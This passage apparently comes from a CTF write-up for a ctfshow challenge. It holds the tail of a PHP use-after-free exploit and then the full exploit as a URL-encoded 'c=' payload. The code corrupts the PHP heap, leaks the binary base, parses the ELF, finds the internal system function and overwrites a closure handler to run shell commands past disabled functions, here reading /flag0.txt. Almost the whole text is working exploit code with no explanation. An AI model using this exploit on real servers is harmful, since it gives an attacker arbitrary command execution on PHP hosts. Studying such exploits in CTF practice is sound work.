if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");
?>
php
payload:
c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B